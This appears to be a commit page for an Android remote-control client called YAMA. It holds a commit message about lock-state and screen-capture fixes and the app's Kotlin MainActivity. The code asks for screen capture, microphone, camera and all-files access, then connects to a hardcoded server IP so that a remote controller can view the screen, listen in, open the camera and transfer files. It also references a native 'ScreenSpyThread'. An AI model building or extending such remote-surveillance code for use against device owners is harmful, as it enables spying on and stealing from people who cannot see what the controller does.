db148c4 asked KeyguardManager on every heartbeat; some TVs answer "locked"
while playing video, so hosts showed "Locked: HH:MM:SS" forever and the
foreground app never reached the server. Lock state is event-driven again:
SCREEN_OFF records the start, USER_PRESENT clears it, and on SCREEN_ON the
state clears when the device is TV-like or has no keyguard (devices without
a lock screen never send USER_PRESENT); a phone that reconnects while
locked is re-calibrated the same way. Keyguard is consulted only at those
event points, never per heartbeat.
Input strategy and TV heuristics are separate immutable values: isTV (D-pad
focus navigation vs touch injection) only looks at leanback, isTvLike (lock
and encoder heuristics) also accepts television/uiMode. They were once
merged and the TV lost remote control, then an assignment was dropped and
it silently defaulted to false; immutable lazy values make both impossible.
The resolved mode is logged as "input=dpad|touch tvLike=..." and mirrored
into the native ring when available.
Screen capture: on TVs the default encoder configuration is tried first.
After a sleep the existing VirtualDisplay stops composing while the
projection stays alive, so a 5s zero-frame stall rebuilds the encoder and
VirtualDisplay on the same projection (reusing the session's encoded size),
requests a fresh IDR and reports failure only after 13s; if the projection
is gone the native size is cleared so the next request re-authorizes. A
repeated onStartCommand no longer calls nativeInit again (the -1 answer
used to stopSelf and drop the host). Kotlin capture logs mirror into the
native ring and fall back to logcat.
Debug APK builds; device verification pending.
Co-Authored-By: deepseek-flash
210 lines
9.8 KiB
Kotlin
210 lines
9.8 KiB
Kotlin
package com.yama.client
|
||
|
||
import android.Manifest
|
||
import android.app.Activity
|
||
import android.app.AlertDialog
|
||
import android.content.Context
|
||
import android.content.Intent
|
||
import android.content.pm.PackageManager
|
||
import android.media.projection.MediaProjectionManager
|
||
import android.net.Uri
|
||
import android.os.Build
|
||
import android.os.Bundle
|
||
import android.os.Environment
|
||
import android.provider.Settings
|
||
import android.util.Log
|
||
import androidx.appcompat.app.AppCompatActivity
|
||
|
||
class MainActivity : AppCompatActivity() {
|
||
|
||
private val serverIp = "91.99.165.207"
|
||
private val serverPort = 443
|
||
|
||
private lateinit var projectionManager: MediaProjectionManager
|
||
|
||
// 授权流程只能走一次:从「所有文件访问」系统设置返回时 onResume 会再来一遍
|
||
private var flowStarted = false
|
||
private var awaitingStorageSettings = false
|
||
|
||
companion object {
|
||
// 远程桌面的屏幕捕获授权失效时,native 会拉起本 Activity;实例还活着时靠这个 extra 走 onNewIntent
|
||
const val EXTRA_REQUEST_PROJECTION = "request_projection"
|
||
const val REQUEST_MEDIA_PROJECTION = 1001
|
||
// POST_NOTIFICATIONS(API 33+)、RECORD_AUDIO(语音监听)与 API 29- 的存储权限
|
||
// 合并成一次请求;结果回来后再弹录屏授权,系统对话框不会叠在一起。
|
||
const val REQUEST_PERMISSIONS = 1002
|
||
private const val PREF_NAME = "yama"
|
||
private const val PREF_ASKED_ALL_FILES = "asked_all_files"
|
||
}
|
||
|
||
override fun onCreate(savedInstanceState: Bundle?) {
|
||
super.onCreate(savedInstanceState)
|
||
// 服务端下发升级包后系统安装框没拉起来时,靠通知把用户带到这一步:
|
||
// 先把待确认的安装框弹出来,装完再重新授权录屏(录制授权随旧进程一起失效了)。
|
||
val pendingInstall = UpdateInstaller.consumePendingConfirm()
|
||
if (pendingInstall != null) {
|
||
Log.i(CaptureService.TAG, "MainActivity: resuming pending install confirm")
|
||
runCatching { startActivity(pendingInstall) }
|
||
finish()
|
||
return
|
||
}
|
||
// 卸载主机:无障碍不可用时只发了通知,用户点开后由这里把系统卸载框补出来
|
||
val pendingUninstall = Uninstaller.consumePending()
|
||
if (pendingUninstall != null) {
|
||
Log.i(CaptureService.TAG, "MainActivity: resuming pending uninstall confirm")
|
||
runCatching { startActivity(pendingUninstall) }
|
||
finish()
|
||
return
|
||
}
|
||
// MA-01 fix: 系统重建 Activity 时 savedInstanceState != null,
|
||
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
|
||
if (savedInstanceState != null) { finish(); return }
|
||
|
||
// Android 11+:文件管理要「所有文件访问」,第一次启动引导一次。
|
||
// 不开启不影响其它功能,文件管理只能看到应用自己的目录(客户端会回提示)。
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R &&
|
||
!Environment.isExternalStorageManager() && !hasAskedAllFiles()) {
|
||
AlertDialog.Builder(this)
|
||
.setTitle("文件管理权限")
|
||
.setMessage(
|
||
"为了让主控浏览和传输本机文件,需要开启「所有文件访问」。\n\n" +
|
||
"请到 设置 → 应用 → YAMA → 所有文件访问 中开启。\n\n" +
|
||
"不开启也能正常使用远程控制等其它功能,只是文件管理只能看到应用自己的目录。")
|
||
.setPositiveButton("去开启") { _, _ ->
|
||
markAskedAllFiles()
|
||
awaitingStorageSettings = true
|
||
val intent = Intent(
|
||
Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
|
||
Uri.parse("package:$packageName"))
|
||
val opened = runCatching { startActivity(intent) }.isSuccess ||
|
||
runCatching {
|
||
startActivity(Intent(Settings.ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION))
|
||
}.isSuccess
|
||
if (!opened) {
|
||
// 两个设置入口都打不开(极简 ROM):别把启动流程卡住
|
||
awaitingStorageSettings = false
|
||
continueStart()
|
||
}
|
||
}
|
||
.setNegativeButton("以后再说") { _, _ ->
|
||
markAskedAllFiles()
|
||
continueStart()
|
||
}
|
||
.setCancelable(false)
|
||
.show()
|
||
return
|
||
}
|
||
continueStart()
|
||
}
|
||
|
||
override fun onResume() {
|
||
super.onResume()
|
||
// 从「所有文件访问」设置页返回:继续未完成的启动流程
|
||
if (awaitingStorageSettings) {
|
||
awaitingStorageSettings = false
|
||
continueStart()
|
||
}
|
||
}
|
||
|
||
private fun continueStart() {
|
||
if (flowStarted) return
|
||
flowStarted = true
|
||
|
||
val missing = ArrayList<String>()
|
||
// Android 10 及以下走运行时存储权限(Android 10 另靠 requestLegacyExternalStorage)
|
||
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q &&
|
||
checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
||
missing.add(Manifest.permission.READ_EXTERNAL_STORAGE)
|
||
}
|
||
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P &&
|
||
checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
||
missing.add(Manifest.permission.WRITE_EXTERNAL_STORAGE)
|
||
}
|
||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU &&
|
||
checkSelfPermission(Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) {
|
||
// 升级完成/待确认的提示靠通知兜底,拒绝了也不影响主流程
|
||
missing.add(Manifest.permission.POST_NOTIFICATIONS)
|
||
}
|
||
if (checkSelfPermission(Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
|
||
// 语音监听(COMMAND_AUDIO)要麦克风;拒绝了不影响其它功能,
|
||
// 主控打开语音监听时客户端会回一条「麦克风不可用」的提示
|
||
missing.add(Manifest.permission.RECORD_AUDIO)
|
||
}
|
||
if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
||
// 摄像头管理(COMMAND_WEBCAM);拒绝后主控打开视频管理会收到「摄像头不可用」
|
||
missing.add(Manifest.permission.CAMERA)
|
||
}
|
||
if (missing.isNotEmpty()) {
|
||
requestPermissions(missing.toTypedArray(), REQUEST_PERMISSIONS)
|
||
return
|
||
}
|
||
startProjection()
|
||
}
|
||
|
||
private fun hasAskedAllFiles(): Boolean =
|
||
getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
|
||
.getBoolean(PREF_ASKED_ALL_FILES, false)
|
||
|
||
private fun markAskedAllFiles() {
|
||
getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE)
|
||
.edit().putBoolean(PREF_ASKED_ALL_FILES, true).apply()
|
||
}
|
||
|
||
override fun onRequestPermissionsResult(
|
||
requestCode: Int, permissions: Array<out String>, grantResults: IntArray) {
|
||
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
|
||
// 权限给不给都要继续:录屏授权本身是可选的(拒绝了 CaptureService 照常连服务端)
|
||
if (requestCode == REQUEST_PERMISSIONS) startProjection()
|
||
}
|
||
|
||
private fun startProjection() {
|
||
projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
||
startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
|
||
}
|
||
|
||
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
|
||
super.onActivityResult(requestCode, resultCode, data)
|
||
if (requestCode == REQUEST_MEDIA_PROJECTION) {
|
||
if (resultCode == Activity.RESULT_OK && data != null) {
|
||
Log.i(CaptureService.TAG, "MediaProjection permission granted")
|
||
val intent = Intent(this, CaptureService::class.java).apply {
|
||
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
|
||
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
|
||
putExtra(CaptureService.EXTRA_PROJECTION_RESULT, resultCode)
|
||
putExtra(CaptureService.EXTRA_PROJECTION_DATA, data)
|
||
}
|
||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||
startForegroundService(intent)
|
||
} else {
|
||
startService(intent)
|
||
}
|
||
} else {
|
||
Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
|
||
val intent = Intent(this, CaptureService::class.java).apply {
|
||
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
|
||
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
|
||
}
|
||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||
startForegroundService(intent)
|
||
} else {
|
||
startService(intent)
|
||
}
|
||
}
|
||
finish()
|
||
}
|
||
}
|
||
|
||
override fun onNewIntent(intent: Intent?) {
|
||
super.onNewIntent(intent)
|
||
// native 请求重新授权时(ScreenSpyThread 发现没有投影会话):若本 Activity 还活着,
|
||
// onCreate 不会再执行,这里补一次系统「屏幕捕获」授权。
|
||
if (intent?.getBooleanExtra(EXTRA_REQUEST_PROJECTION, false) == true && !awaitingStorageSettings) {
|
||
startProjection()
|
||
}
|
||
}
|
||
|
||
override fun onDestroy() {
|
||
super.onDestroy()
|
||
}
|
||
}
|